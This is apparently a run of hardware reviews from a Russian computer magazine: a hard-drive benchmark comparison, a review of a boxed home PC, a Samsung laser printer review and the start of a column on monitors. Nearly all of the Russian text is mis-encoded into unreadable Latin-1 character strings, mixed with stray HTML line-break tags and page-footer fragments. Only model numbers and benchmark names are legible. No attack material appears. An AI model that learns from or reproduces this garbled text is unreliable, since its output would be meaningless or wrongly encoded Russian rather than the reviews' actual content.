ïëàñòèíó! Âðåìÿ ïîêàæåò, íàäåæíåå<br />

ëè òàêèå âèíòû. Ñóäÿ ïî èäåàëüíîìó<br />

DTR, ñêîðåå âñåãî, íàäåæíåå. Èçâåñòíî,<br />

÷òî ÷åì ìåíüøå äåòàëåé – òåì<br />

íàäåæíåå óñòðîéñòâî, ïîýòîìó îäèí<br />

áëèí ëó÷øå äâóõ! Âèíò îáëàäàåò<br />

ñðåäíèìè ñêîðîñòíûìè õàðàêòåðèñòèêàìè,<br />

äîâîëüíî òèõèé, íî ñèëüíî<br />

ãðååòñÿ!<br />

16 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì


Ferrum<br />

ÒÅÑÒÈÐÎÂÀÍÈÅ HDD Ñ ÈÍÒÅÐÔÅÉÑÎÌ IDE<br />

test_lab (test_lab@gameland.ru)<br />

MAXTOR DIAMONDMAX<br />

PLUS 9 6Y080L0<br />

Ðåàëüíàÿ åìêîñòü 76.33 (ÃÁ);<br />

Êîëè÷åñòâî äèñêîâ 2;<br />

Êîëè÷åñòâî ãîëîâîê 4;<br />

Èíòåðôåéñ Ultra ATA/100;<br />

Average Seek (ms) 9.4;<br />

Ñðåäíåå âðåìÿ îæèäàíèÿ<br />

4.2 ìñ;<br />

Îáúåì áóôåðíîé êýø-ïàìÿòè<br />

2048 Êá;<br />

Óäàð (ðàáî÷èé ðåæèì)<br />

60 G, 2ìñ;<br />

Óäàð (ðåæèì õðàíåíèÿ)<br />

300 G, 2ìñ;<br />

Ïîòðåáëåíèå (Äîñòóï) 12,2 W;<br />

Ïîòðåáëåíèå (Õîëîñòîé õîä)<br />

7,3 W;<br />

Øóì (Íåò çàíÿòîñòè) 2.7 áåëë;<br />

Øóì (×òåíèå/çàïèñü) 3,5 áåëë.<br />

HDTach ïîêàçûâàåò âìåñòå ñ WD<br />

Caviar WD800JB è IBM Deskstar<br />

180GXP IC35L090AVV207 ëó÷øèå ðåçóëüòàòû<br />

ïî ëèíåéíîé ñêîðîñòè ÷òåíèÿ.<br />

Âðåìÿ ïîèñêà äîâîëüíî áîëüøîå.<br />

IOMetr ïîêàçûâàåò õóäøèé ðåçóëüòàò.<br />

Âåðîÿòíî, àëãîðèòì íå ñàìûé îïòèìàëüíûé<br />

äëÿ ñåðâåðíûõ çàäà÷.<br />

WinBench äàåò èäåàëüíûé ãðàôèê.<br />

Ïîêàçûâàåò íèçêèå ðåçóëüòàòû íà<br />

Business è âûñîêèå íà Hi-End.<br />

ATTO ïîêàçûâàåò êàðòèíó ÷óòü õóæå,<br />

÷åì ó IBM.<br />

Îäèí èç ñàìûõ òèõèõ âèí÷åñòåðîâ íà õîëîñòîì<br />

õîäó, ñàìûé ãðîìêèé ïî ãîëîâêàì,<br />

íî ñàìûé òèõèé â òèõîì ðåæèìå.<br />

Ðåçîíèðóåò â ðåæèìå õîëîñòîãî õîäà.<br />

Èòàê, ìû èìååì íå ñàìûé áûñòðûé,<br />

íî ñàìûé òèõèé âèí÷åñòåð ñ íåïëîõèì<br />

ãðàôèêîì DTR áåç çóáüåâ. Ìû<br />

äîëãî íå ìîãëè âûáðàòü ìåæäó IBM<br />

Deskstar 180GXP IC35L090AVV207 è<br />

MAXTOR diamondMAX plus 9 6Y080L0.<br />

Îäíàêî ïîñ÷èòàëè MAXTOR<br />

diamondMAX plus 9 6Y080L0 áîëåå íàäåæíûì,<br />

ñóäÿ ïî ãðàôèêó DTR. Ìû áû<br />

âçÿëè åãî ñåáå äëÿ äîìàøíåãî èñïîëüçîâàíèÿ.<br />

Êñòàòè, ïîêóïàÿ MAX-<br />

TOR diamondMAX plus 9 6Y080L0, òàêæå<br />

ïîëó÷àåøü âûèãðûø â äâà ãèãà.<br />

Ãðàôèê ïîêàçûâàåò ëèíåéíûå ñêîðîñòè. Îáðàòè âíèìàíèå íà<br />

ñðåäíþþ (average). Ëó÷øå, êîãäà ðàçáðîñ ìåæäó ìàêñèìóì îì<br />

è ìèíèìóìîì íåáîëüøîé.<br />

Ãðàôèê ïîêàçûâàåò ñêîðîñòü ðàáîòû ñ ôàéë-ñåðâåðîì â<br />

çàâèñèìîñòè îò íàãðóçêè. Ýòî îñíîâíîé ñåðâåðíûé òåñò.<br />

Ýìóëÿöèÿ îôèñíûõ ïðèëîæåíèé.<br />

Âðåìÿ ñëó÷àéíîãî äîñòóïà, ÷åì îíî ìåíüøå, òåì áûñòðåå âèíò<br />

ñïðàâëÿåòñÿ ñ ïîèñêîì ðàçðîçíåííûõ áëîêîâ äàííûõ, ÷òî<br />

ïîìîãàåò âûèãðàòü â ñåðâåðíûõ òåñòàõ.<br />

Ãðàôèê ïîêàçûâàåò ñêîðîñòü ðàáîòû ñ WEB-ñåðâåðîì â<br />

çàâèñèìîñòè îò íàãðóçêè. Ýòî âñïîìîãàòåëüíûé ñåðâåðíûé òåñò.<br />

Ýìóëÿöèÿ Hi-End ïðèëîæåíèé.<br />

ÂÛÂÎÄÛ<br />

Âèí÷åñòåðû îòëè÷àþòñÿ íå ñèëüíî, ó âñåõ ñâîè<br />

ïëþñû è ìèíóñû, îäíàêî âûáîð ñäåëàí!<br />

Äëÿ ñåðâåðíûõ è äîìàøíèõ çàäà÷ íåïëîõî ïîäõîäèò<br />

SAMSUNG SpinPoint P40 SP8004H, îí ñàìûé<br />

íàäåæíûé, ñàìûé õîëîäíûé, îäèí èç ñàìûõ áûñòðûõ<br />

íà ñåðâåðíûõ çàäà÷àõ. Íî äîâîëüíî ãðîìêèé<br />

äëÿ äîìà.<br />

Äëÿ ïðîôåññèîíàëüíûõ è äîìàøíèõ çàäà÷ ïîäîéäåò<br />

IBM Deskstar 180GXP IC35L090AVV207, îí<br />

ïðîñòî ñàìûé-ñàìûé áûñòðûé. Íà ñåðâåðíûõ<br />

çàäà÷àõ è íà Hi-End îí ïîêàçàë ñåáÿ ñ íàèëó÷øåé<br />

ñòîðîíû. Îäíàêî íàñ ñìóòèëè çóá÷èêè íà ãðàôèêå<br />

è ðåçîíàíñû. Õîòÿ âèíò äîñòàòî÷íî òèõèé.<br />

Ê ñåáå äîìîé ìû áû âçÿëè MAXTOR diamondMAX<br />

plus 9 6Y080L0. Îí ñàìûé òèõèé, íàäåæíûé (çóá-<br />

÷èêîâ íåò) è äîâîëüíî áûñòðûé.<br />

Íàïîñëåäîê åùå î òåìïåðàòóðå:<br />

Íåîáõîäèìî îòìåòèòü, ÷òî IOmeter - ñåðâåðíûé ñèíòåòè÷åñêèé<br />

òåñò, è îí íàãðóæàåò äèñêîâóþ ïîäñèñòåìó<br />

ãîðàçäî ñèëüíåé, ÷åì òèïè÷íûå îôèñíûå ïðèëîæåíèÿ.<br />

Ïîæàëóé, ìîæíî ñêàçàòü, ÷òî ýòî ìàêñèìàëüíî<br />

âîçìîæíàÿ òåìïåðàòóðà äëÿ äàííûõ äèñêîâ ïðè<br />

óñëîâèè õîðîøåãî îõëàæäåíèÿ. Ìû ñ÷èòàåì, ÷òî îõëàæäåíèå<br />

íåîáõîäèìî, åñëè äèñê áóäåò àêòèâíî<br />

(íåïðåðûâíîå ÷òåíèå-çàïèñü) èñïîëüçîâàòüñÿ áîëåå<br />

10 ìèíóò ïîäðÿä. Èñêëþ÷åíèå ìîæíî ñäåëàòü äëÿ<br />

Ñàìñóíãà, ó êîòîðîãî òåìïåðàòóðà ìåíüøå îñòàëüíûõ<br />

ïî÷òè íà 10 ãðàäóñîâ, è åñòü øàíñ, ÷òî îíà íå<br />

ïðåâûñèò ïðåäåëüíîãî ïàñïîðòíîãî çíà÷åíèÿ.<br />

Òî åñòü, åñëè òû ñîáðàëñÿ þçàòü âèíò<br />

íà ïðåäåëå åãî ñêîðîñòíûõ âîçìîæíîñòåé<br />

– îõëàæäàé! Êñòàòè, ìû âûáðàëè<br />

èç âñåõ ñàìûå õîëîäíûå âèíòû!<br />

18 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì


Ferrum<br />

ÊÎÌÏÜÞÒÅÐ ÁÅÇ<br />

ÊÎÌÏÜÞÒÅÐ ÁÅÇ ÃÈÌÎÐÀ!<br />

test_lab (test_lab@gameland.ru)<br />

ÃÈÌÎÐÀ!WIENER PC BOX<br />

Ïîêóïàÿ íîâûé êîìï, áîëüøèíñòâî þçåðîâ<br />

äîëãî ìó÷àþòñÿ, çàêàïûâàÿñü â êèïàõ<br />

ïðàéñîâ. Äàæå ïðîäâèíóòûå â æåëåçíîì<br />

ïëàíå ïåðöû èíîãäà ïî ïîëãîäà íå ìîãóò<br />

ðåøèòü, íà êàêîé ïëàòôîðìå îíè õîòÿò<br />

ñîáèðàòü ñâîþ íîâóþ ìàøèíó, ñ êàêîé âèäþõîé<br />

è ò.ä. Êîðî÷å, ñáîð êîìïà - ýòî ãèìîð!<br />

È äëÿ òåõ, êòî íå ðàçáèðàåòñÿ (íåèìîâåðíî<br />

ñëîæíî ñîðèåíòèðîâàòüñÿ â êó÷å<br />

òåõíîëîãèé è ïîíÿòü, ÷òî ñ ÷åì ñîâìåñòèìî),<br />

è äëÿ òåõ, êòî ñå÷åò (õî÷åòñÿ, ÷òîá<br />

òà÷êà áûëà ïðîñòî èäåàëüíåéøåé, íî<br />

âñåãäà òðóäíî âûáðàòü ÷òî-òî êîíêðåòíîå,<br />

äà åùå è ÷òîá ïîòðàòèòüñÿ ïî ìèíèìóìó).<br />

Äëÿ ïåðâûõ îáû÷íî âñå ñâîäèòñÿ ê òîìó,<br />

÷òî ÷åë ïðèõîäèò â ìàãàç, è êîíñóëüòàíòû<br />

ñîáèðàþò åìó êîìï èç ðàçíîãî õëàìà. Äëÿ<br />

âòîðûõ - ìîæåò áûòü ÷òî óãîäíî, òàê êàê<br />

íåèñïîâåäèìû ïóòè ðàíäîìîâñêèå :), íî<br />

áåç ãèìîðà òîæå íå îáõîäèòñÿ.<br />

Îáëåã÷èòü ó÷àñòü òàêèõ ñòðàäàëüöåâ<br />

âûçâàëàñü êîìïàíèÿ R.&K., ïðåäñòàâèâ<br />

ñâîå íîâîå ðåøåíèå - óæå ñîáðàííûé è<br />

ïîëíîñòüþ ãîòîâûé ê ðàáîòå êîìïüþòåð<br />

â îäíîé êîðîáêå. Ïðè÷åì ïîä êîìïüþòåðîì<br />

ïîäðàçóìåâàåòñÿ íå ñèñòåìíûé<br />

áëîê, êàê ýòî ÷àùå âñåãî áûâàåò, à<br />

èìåííî ïîëíîöåííûé êîìï, ñîñòîÿùèé<br />

èç ìîíèòîðà, ñèñòåìíèêà, ïðèíòåðà,<br />

ñêàíåðà è âñåãî îñòàëüíîãî, ÷òî ìîæåò<br />

ïîòðåáîâàòüñÿ. È âñå â îäíîé êîðîáêå<br />

(ïðàâäà, î÷åíü áîëüøîé). Ýòî ïåðâûé<br />

ñëó÷àé ïîäîáíîé ïîñòàâêè êîìïîâ íà<br />

íàøåì ðûíêå, ïîýòîìó ìû ðåøèëè ïðîòåñòèòü<br />

ñåé ïðîäóêò è âûÿñíèòü, íàñêîëüêî<br />

îí õîðîø. Õîòÿ íåêîòîðûå ïëþñû<br />

óæå î÷åâèäíû è áåç òåñòèðîâàíèÿ:<br />

ïîëíàÿ ñîâìåñòèìîñòü âñåãî ñî âñåì è<br />

íèêàêîãî ãèìîðà ñ äðîâàìè.<br />

ÊÎÌÏËÅÊÒÀÖÈß<br />

Èòàê, ïîñìîòðèì, ÷òî æå íàõîäèòñÿ â<br />

ýòîé îãðîìíîé êîðîáêå.<br />

Êàê âèäèøü, â áîêñå åñòü âñå íåîáõîäèìîå<br />

äëÿ íà÷àëà èíòåíñèâíîé ýêñïëóàòàöèè<br />

êîìïüþòåðà. Îäíàêî ÷òîáû ïîëó-<br />

÷èòü ïîëíîå ïðåäñòàâëåíèå î åãî êîìïëåêòóþùèõ,<br />

òðåáóåòñÿ áîëåå äåòàëüíîå<br />

ðàññìîòðåíèå, ÷åì ìû è çàéìåìñÿ.<br />

Íåáîëüøîé, íî ñòèëüíûé êîðïóñ<br />

WorldTop WT U-100 ïðèþòèë â ñâîåì<br />

÷ðåâå íàäåæíóþ ìàòåðèíñêóþ ïëàòó<br />

Gigabyte GA-8SIMLH ñ äâóõãèãàãåðöîâûì<br />

Pentium4 Celeron íà áîðòó, ïðîèçâîäèòåëüíîñòè<br />

êîòîðîãî õâàòèò äëÿ áîëüøèíñòâà<br />

ñîâðåìåííûõ çàäà÷. Îáúåì îïåðàòèâêè<br />

(256 Ìá), êîíå÷íî, íå ñàìûé âïå-<br />

÷àòëÿþùèé, ò.ê. åãî ìîæåò íå õâàòèòü<br />

äëÿ ñåðüåçíîãî ñîôòà è èãðóøåê, íî ïðè<br />

íåîáõîäèìîñòè âñåãäà ìîæíî äîêóïèòü<br />

åùå îäèí ìîäóëü ïàìÿòè è íå ïàðèòüñÿ<br />

ïî ýòîìó ïîâîäó. À âñåìó ýòîìó<br />

ðàçíîîáðàçíîìó ñîôòó è èãðóøêàì áóäåò<br />

ãäå ðàçìåñòèòüñÿ íà âèí÷åñòåðå â<br />

40 Gb îò Western Digital.<br />

Ïðàâäà, ñî âñòðîåííîé âèäåîêàðòîé<br />

îñîáî íå íàèãðàåøüñÿ, çàòî îñòàíåòñÿ<br />

áîëüøå âðåìåíè íà ðàáîòó, ó÷åáó è íà<br />

òâîè ìàëåíüêèå õàöêåðñêèå õîááè :).<br />

Åñëè æå áåç ñîâðåìåííûõ ãàìåñîâ<br />

ïðåäñòàâèòü ñâîé äîñóã ñëîæíîâàòî,<br />

ïðèäåòñÿ çàäóìàòüñÿ î ïîêóïêå îòäåëüíîé<br />

âèäåîêàðòû, èñõîäÿ èç ñîáñòâåííûõ<br />

ïðåäïî÷òåíèé è ïîñòàâëåííûõ çàäà÷.<br />

Ñåòåâàÿ êàðòà Realtek ïîçâîëèò<br />

áûñòðî ïîäêëþ÷èòüñÿ ê ñåòè, à ôàêñìîäåì<br />

D-Link DFM-562IS óæå ãîòîâ äëÿ<br />

ìåãàòîííîãî ñêà÷èâàíèÿ èç èíåòà.<br />

ÊÎÍÔÈÃÓÐÀÖÈß: Wiener W2161<br />

Êîðïóñ WorldTop WT U-100 (MicroATX);<br />

Ïðîöåññîð Intel Pentium4 Celeron 2 ÃÃö;<br />

Ìàòåðèíñêàÿ ïëàòà Gigabyte GA-8SIMLH;<br />

Îïåðàòèâíàÿ ïàìÿòü 256 Mb DDR;<br />

Âèí÷åñòåð Western Digital WD400EB (40 Ãáàéò);<br />

Âñòðîåííàÿ âèäåîêàðòà (SiS 650);<br />

Âñòðîåííàÿ çâóêîâóõà (SiS 7012);<br />

CD-ïðèâîä Sony 52x (CDU5231);<br />

Ñåòåâàÿ êàðòà Realtek (RTL8139);<br />

Äèñêîâîä 3,5";<br />

Ñåòåâàÿ êàðòà Realtek (RTL8139);<br />

Âíóòðåííèé ôàêñ-ìîäåì D-Link DFM-562IS;<br />

ÎÑ - Microsoft Windows XP Home Edition;<br />

Îáó÷àþùèå ïðîãðàììû "1Ñ".<br />

 íàøå âðåìÿ æèäêîêðèñòàëëè÷åñêèé<br />

ìîíèê íå ÿâëÿåòñÿ äèêîâèíêîé, äà è<br />

öåíà íà ïîäîáíûå äåâàéñû óæå îïóñòèëàñü<br />

äî ïðèåìëåìûõ îòìåòîê. Òàê ÷òî<br />

ýòîò âûáîð ñáîðùèêîâ âïîëíå îïðàâäàí,<br />

êàê â öåíîâîì ïëàíå, òàê è â ïëàíå<br />

áåçîïàñíîñòè. Âåäü íà çðåíèè, êàê<br />

èçâåñòíî, ýêîíîìèòü íå ïðèíÿòî, îñîáåííî,<br />

åñëè çà êîìïüþòåðîì áóäåò áàëîâàòüñÿ<br />

êàêîé-íèáóäü êèíäåð.<br />

Ïðèíòåðû îò êîìïàíèè Lexmark õîòÿ è<br />

íå çàíèìàþò ïåðåäîâûõ ïîçèöèé íà<br />

ðûíêå, çàòî èìåþò î÷åíü ïðèâëåêàòåëüíóþ<br />

öåíó. À èìåííî ýòà ìîäåëü<br />

ïîçâîëèò áåç îñîáûõ óñèëèé è ìàòåðèàëüíûõ<br />

çàòðàò ðàñïå÷àòûâàòü êàê ðåôåðàòû,<br />

òàê è ôîòîãðàôèè. Öâåòíîé è<br />

÷åðíî-áåëûé êàòðèäæ ïðèëàãàþòñÿ.<br />

Êîìïàíèÿ Mustek âñåãäà ñëàâèëàñü<br />

ñâîèìè ñêàíåðàìè, à ìîäåëü BearPaw<br />

1200CS î÷åðåäíîå òîìó ïîäòâåðæäåíèå.<br />

Ñêàíåð èìååò äîñòîéíûå õàðàêòåðèñòèêè<br />

è ìîæåò ïîõâàñòàòüñÿ èíòóèòèâíî<br />

ïîíÿòíûì óïðàâëåíèåì, êîòîðîå<br />

ëåãêî îñâîèò äàæå ðåáåíîê.<br />

ÏÎÄÊËÞ×ÅÍÈÅ<br />

Òåïåðü íàñòàëî âðåìÿ<br />

ïîñìîòðåòü, äåéñòâèòåëüíî<br />

ëè ýòîò êîìïüþòåð ïîëíîñòüþ<br />

ãîòîâ ê ðàáîòå è íå<br />

òðåáóåò íèêàêîé óñòàíîâêè<br />

äðàéâåðîâ, êàê îáåùàþò<br />

ðàçðàáîò÷èêè. Èòàê, ìûøêà,<br />

êëàâèàòóðà, ñêàíåð è<br />

ïðèíòåð ïîäñîåäèíåíû ê<br />

ñèñòåìíèêó, êàáåëü îò ìîíèòîðà<br />

âîòêíóò â ðàçúåì<br />

âñòðîåííîé âèäåîêàðòû.<br />

Âêëþ÷àåì êîìï, ñëåäóåò<br />

çàãðóçêà Windows XP (Home<br />

Edition) - âñå îáîðóäîâàíèå<br />

íàéäåíî, äðàéâåðà óñòàíîâëåíû<br />

êàê íóæíî, åäèíñòâåííîå<br />

èñêëþ÷åíèå - ñêàíåð Mustek<br />

BearPaw. Äëÿ íåãî ïîòðåáîâàëàñü îòäåëüíàÿ<br />

óñòàíîâêà ñîôòà è äðàéâåðîâ ñ<br />

ôèðìåííîãî êîìïàêòà. Â îáùåì, ïðèñòóïèòü<br />

ê ðàáîòå ñ ýòèì êîìïüþòåðîì ìîæíî<br />

áåç îñîáûõ óñèëèé çà êàêèå-òî ïîë÷àñà,<br />

÷òî äîëæíî ïîðàäîâàòü íå î÷åíü<br />

îïûòíûõ ïîëüçîâàòåëåé.<br />

ÒÅÑÒÛ<br />

×òîáû ïîëó÷èòü áîëåå íàãëÿäíîå<br />

ïðåäñòàâëåíèå î âîçìîæíîñòÿõ è ïðîèçâîäèòåëüíîñòè<br />

WIENER PC BOX, ìû<br />

ïîäâåðãëè åãî æåñòîêèì ïûòêàì ïîïóëÿðíûìè<br />

òåñòàìè.<br />

PC MARK 2002<br />

822<br />

3437<br />

4057<br />

CPU score N/A<br />

memory score N/A<br />

hdd score N/A<br />

SiSoft Sandra 2002<br />

1087<br />

2515<br />

3626<br />

7981<br />

9829<br />

ALU score MIPS<br />

SSE2MFLOPS<br />

FPU MFLOPS<br />

Integer MMX/SSE Èíòåðàöèé/ñåêóíäû<br />

Floating-pont Èíòåðàöèé/ñåêóíäû<br />

1644<br />

21837<br />

Memory Benchmark MÁ/ñåêóíäó<br />

HDD Benchmark MÁ/ñåêóíäó<br />

3D MARK 2001<br />

1162<br />

1597<br />

1024/768<br />

800/600<br />

Êàê âèäíî èç òåñòîâ, ïðîèçâîäèòåëüíîñòü<br />

ýòîãî êîìïüþòåðà íàõîäèòñÿ íà äîñòîéíîì<br />

óðîâíå, ïîêà äåëî íå äîõîäèò äî èãðîâûõ<br />

ïðèëîæåíèé. Êàê ìû óæå ïèñàëè<br />

âûøå, äëÿ ñåðüåçíûõ èãðóøåê ëó÷øå äîêóïèòü<br />

îòäåëüíóþ âèäåîêàðòó, ò.ê. ìîùíîñòåé<br />

âñòðîåííîé áóäåò íåäîñòàòî÷íî â<br />

ñîâðåìåííûõ õèòîâûõ ãàìåñàõ. À â îáùåì<br />

è öåëîì, WIENER PC BOX ïðîèçâåë õîðîøåå<br />

âïå÷àòëåíèå è ñâîþ öåíó (îêîëî<br />

$1000) îí, êîíå÷íî, îïðàâäûâàåò, ïîýòîìó<br />

åãî âïîëíå ìîæíî ðåêîìåíäîâàòü â êà÷åñòâå<br />

ñåìåéíîãî êîìïüþòåðà.<br />

1 2 3 4<br />

20 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


Ferrum<br />

SAMSUNG ML1710<br />

test_lab (test_lab@gameland.ru)<br />

Ñåãîäíÿ ìû áóäåì àïãðåéäèòü<br />

òàêîå âàæíîå äëÿ âñåõ ëþáèòåëåé<br />

ïî÷èòàòü íà áóìàãå ÷óæèå<br />

èñõîäíèêè óñòðîéñòâî, êàê<br />

ïðèíòåð. Â ðîëè ðåêîìåíäóåìîãî<br />

äåâàéñà - íîâåíüêèé ëàçåðíûé<br />

ïðèíòåð Samsung Ml1710.<br />

UPGRADE<br />

SAMSUNG ML1710<br />

Ëó÷ ëàçåðà â òåìíîé öàðñòâå<br />

Ñóïåð<br />

âåùü!<br />

Âîîáùå Samsung çàíÿëñÿ ëàçåðíûìè<br />

ïðèíòåðàìè íå òàê äàâíî, è ïîíà÷àëó<br />

ìíîãèå âîñïðèíèìàëè èõ íàñòîðîæåííî:<br />

íîâè÷îê íà ðûíêå, äà ê òîìó<br />

æå ñòîèëè ýòè ïðèíòåðû ïîäîçðèòåëüíî<br />

äåøåâî. Íî êàê âûÿñíèëîñü ñî<br />

âðåìåíåì, â ñåêòîðå ïå÷àòàþùèõ<br />

óñòðîéñòâ êîìïàíèÿ õàëòóðèòü íå ñòàëà,<br />

è ïðèíòåðû ïîêàçàëè ñåáÿ ñ íàèëó÷øåé<br />

ñòîðîíû. Äîïîäëèííî èçâåñòåí<br />

ñëó÷àé, êîãäà ëàçåðíèê ýòîé ôèðìû<br />

ïåðåæèë ïîæàð, áûë ïîëíîñòüþ<br />

çàëèò âîäîé (ïðè÷åì íà ïðîòÿæåíèè<br />

íåñêîëüêèõ äíåé) è âûæèë! Ïîòðåáîâàëîñü<br />

âñåãî-òî ðàçîáðàòü åãî è ïðîñóøèòü,<br />

ïîñëå ÷åãî îí ïðåêðàñíî çàðàáîòàë<br />

è ðàáîòàåò ïî ñåé äåíü. Æåëåçíîå<br />

æåëåçî, êîðî÷å :).<br />

Èòàê, âåðíåìñÿ ê íàøåìó ýêçåìïëÿðó.<br />

Íîâûé ëàçåðíèê ìîæåò ïîõâàñòàòüñÿ<br />

î÷åíü íåïëîõèìè õàðàêòåðèñòèêàìè.<br />

Íå hi-end, êîíå÷íî, íî äëÿ<br />

ïðèíòåðà òàêîãî êëàññà è, ãëàâíîå,<br />

òàêîé öåíû ëó÷øå íåêóäà. Îòëè÷èòåëüíûå<br />

îñîáåííîñòè ïðèíòåðà - åãî<br />

íåáîëüøîé ðàçìåð (ðàçìåðîì îí ñî<br />

ñðåäíèé ñòðóéíèê) è âíóòðåííèé ëîòîê<br />

äëÿ áóìàãè. Åñëè ïðî ïðåèìóùåñòâà<br />

íåáîëüøèõ ðàçìåðîâ óñòðîéñòâà<br />

íèêîìó íè÷åãî îáúÿñíÿòü íå íàäî, òî<br />

ïðî âíóòðåííèé ëîòîê äëÿ áóìàãè<br />

ñòîèò ñêàçàòü ïàðó ñëîâ. Òîò, ó êîãî<br />

åñòü ëàçåðíèê ñ "âåðõíåé" çàãðóçêîé<br />

áóìàãè, íàâåðíÿêà ñòàëêèâàëñÿ ñ<br />

ïðîáëåìîé, êîãäà ïðèíòåð íå õî÷åò<br />

áðàòü èç ïà÷êè 1 ëèñò, à áåðåò ñðàçó<br />

íåñêîëüêî è áåçáîæíî èõ æóåò. Ýòî<br />

ïðîèñõîäèò èç-çà òîãî, ÷òî ìåõàíèçì<br />

çàãðóçêè áóìàãè îòêðûò, è â íåãî<br />

î÷åíü ëåãêî ïîïàäàþò ïûëü è ãðÿçü,<br />

÷òî ïðèâîäèò ê ñáîÿì, à òî è ê âûõîäó<br />

èç ñòðîÿ. Âñå ïðèíòåðû ñ "íèæíåé"<br />

çàãðóçêîé ýòîãî íåäîñòàòêà ëèøåíû,<br />

è òàêèõ ïðîáëåì ñ íèìè íå<br />

âîçíèêàåò. Òàêæå íåìàëîâàæíî òî,<br />

÷òî òàêîé ñïîñîá çàãðóçêè áóìàãè<br />

óìåíüøàåò ãàáàðèòíûå ðàçìåðû<br />

ïðèíòåðà, äåëàÿ åãî áîëåå êîìïàêòíûì<br />

è óäîáíûì. Ëîòîê äàííîé ìîäåëè<br />

âìåùàåò â ñåáÿ ñðàçó 250 ëèñòîâ.<br />

Ïðèíòåð èìååò íåïëîõîé äèçàéí, âñå<br />

îðãàíû óïðàâëåíèÿ ðàñïîëîæåíû<br />

î÷åíü óäîáíî. Íà íåì âñåãî äâå êíîïêè<br />

- ïèòàíèå è âêëþ÷åíèå/âûêëþ÷åíèå<br />

ðåæèìà îíëàéí. Êðîìå ýòîãî åñòü äâå<br />

äèàãíîñòè÷åñêèå ëàìïî÷êè. Äåâàéñ<br />

ïîäêëþ÷àåòñÿ ê êîìïüþòåðó ïî èíòåðôåéñó<br />

USB 1.1 - ñòàðîãî äîáðîãî LPT<br />

óæå íåò, êàíóë â ëåòó (òóäà åìó, òîðìîçíîìó,<br />

è äîðîãà). Ïå÷àòàåò<br />

Samsung Ml1710 î÷åíü òèõî è äîâîëüíî<br />

áûñòðî: ñêîðîñòü ïå÷àòè - 16 ñòðàíèö<br />

â ìèíóòó, âðåìÿ âûõîäà ïåðâîé<br />

ñòðàíèöû - 11 ñåêóíä. Ñåðäöå ïðèíòåðà<br />

- ôèðìåííûé ïðîöåññîð Samsung ñ<br />

÷àñòîòîé 90 MHz, íà áîðòó ó íåãî 8 Mb<br />

ïàìÿòè, áëàãîäàðÿ ÷åìó çàãðóçêà äàííûõ<br />

ïðîèñõîäèò áûñòðî, äàæå äîêóìåíòû<br />

ñ êàðòèíêàìè íà÷èíàþò ïå÷àòàòüñÿ<br />

ïðàêòè÷åñêè ñðàçó.<br />

Ïå÷êà ðàçîãðåâàåòñÿ î÷åíü áûñòðî,<br />

ïðàêòè÷åñêè ñðàçó ïîñëå âêëþ÷åíèÿ<br />

ïðèíòåð ãîòîâ ê ðàáîòå. Íîâèíêà èìååò<br />

ôèðìåííóþ òåõíîëîãèþ ýêîíîìèè<br />

òîíåðà. Ñ åå ïîìîùüþ ìîæíî ñõàëÿâèòü<br />

äî 40 ïðîöåíòîâ òîíåðà áåç ïîòåðè<br />

êà÷åñòâà. Ðàäóåò äîâîëüíî âìåñòèòåëüíûé<br />

êàðòðèäæ, îí ðàññ÷èòàí íà<br />

3000 ñòðàíèö ïðè 5-ïðîöåíòíîì çàïîëíåíèè<br />

ñòðàíèöû (3000 ñòðàíèö -<br />

ýòî áåç ðåæèìà ýêîíîìèè, à ñ íèì áóäåò<br />

öåëûõ 4200 ñòðàíèö). Êàê âûÿñíèëîñü,<br />

íîâîðîæäåííûé ãîëîäíûé, êàê<br />

ñîáàêà è ãîòîâ æðàòü ëþáóþ áóìàãó -<br />

Letter, legal, Monarch, com 10, C5, DL,<br />

A4, A5, B5. Ñóäÿ ïî ñïåöèôèêàöèè,<br />

ïðèíòåð ñïîñîáåí ðàáîòàòü ïðàêòè÷åñêè<br />

ñ ëþáîé îïåðàöèîíêîé è íà ðàçíûõ<br />

ïëàòôîðìàõ. Êàê è ñëåäîâàëî îæèäàòü,<br />

ïîääåðæèâàåòñÿ âñå ñåìåéñòâî ìàñòäàåâ,<br />

íàø ëþáèìûé ëèíóêñ âî âñåõ åãî<br />

ïðîÿâëåíèÿõ è, êàê íè ñòðàííî,<br />

ÌacOS, íà÷èíàÿ ñ âåðñèè 8.6 è ñòàðøå<br />

(âêëþ÷àÿ MacOS X).<br />

Òåïåðü î ñàìîì ãëàâíîì - î ðàçðåøåíèè.<br />

Îíî ó àïïàðàòà ñîñòàâëÿåò<br />

600x600 dpi. Ýòî, êîíå÷íî, íå îñîáî<br />

ìíîãî, íî äëÿ ÷åðíî-áåëîãî ëàçåðíèêà<br />

áîëåå ÷åì äîñòàòî÷íî. Øïàðãàëêè,<br />

íàïå÷àòàííûå "âîñüìåðî÷êîé"<br />

áóäóò âïîëíå ÷èòàáåëüíûìè, à íåìíîãî÷èñëåííûå<br />

êàðòèíêè áóäóò ñìîòðåòüñÿ<br />

ïðîñòî çäîðîâî.<br />

È íàïîñëåäîê ñàìûå ñêó÷íûå õàðàêòåðèñòèêè:<br />

ïîòðåáëÿåìàÿ ìîùíîñòü â ðåæèìå<br />

îæèäàíèÿ - ìåíåå 10 Âò, â ðåæèìå ðàáîòû<br />

- 280 Âò. Ðàçìåð - 348x355x193<br />

(ØxÃxÂ) ìì. Ðàáî÷èé öèêë -<br />

15000 ñòðàíèö â ìåñÿö.<br />

22 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì


ÎÊÍÎ Â ÖÈÔÐÓ<br />

INSIDE<br />

Íèêèòà «Nikitos» Êèñëèöèí<br />

(nikitoz@real.xakep.ru), http://nikitos.inc.ru<br />

ÎÊÍÎ Â ÖÈÔÐÓ<br />

INTROÄÀÊØÍ<br />

Óæå âûøëî 8 âûïóñêîâ èíñàéäà,<br />

ÿ ðàññêàçàë òåáå î ñòðîåíèè<br />

è ïðèíöèïàõ ðàáîòû îñíîâíûõ<br />

óñòðîéñòâ, òåõ, ÷òî òû<br />

èñïîëüçóåøü â ïîâñåäíåâíîé<br />

ðàáîòå çà êîìïüþòåðîì. Íåçàñëóæåííî<br />

çàáûòà ëèøü òåìà<br />

ìîíèòîðîâ – à íàïðàñíî, âåäü<br />

ýòî îäíî èç òåõ óñòðîéñòâ, áåç<br />

êîòîðûõ íåìûñëèìà ïîëíîöåííàÿ<br />

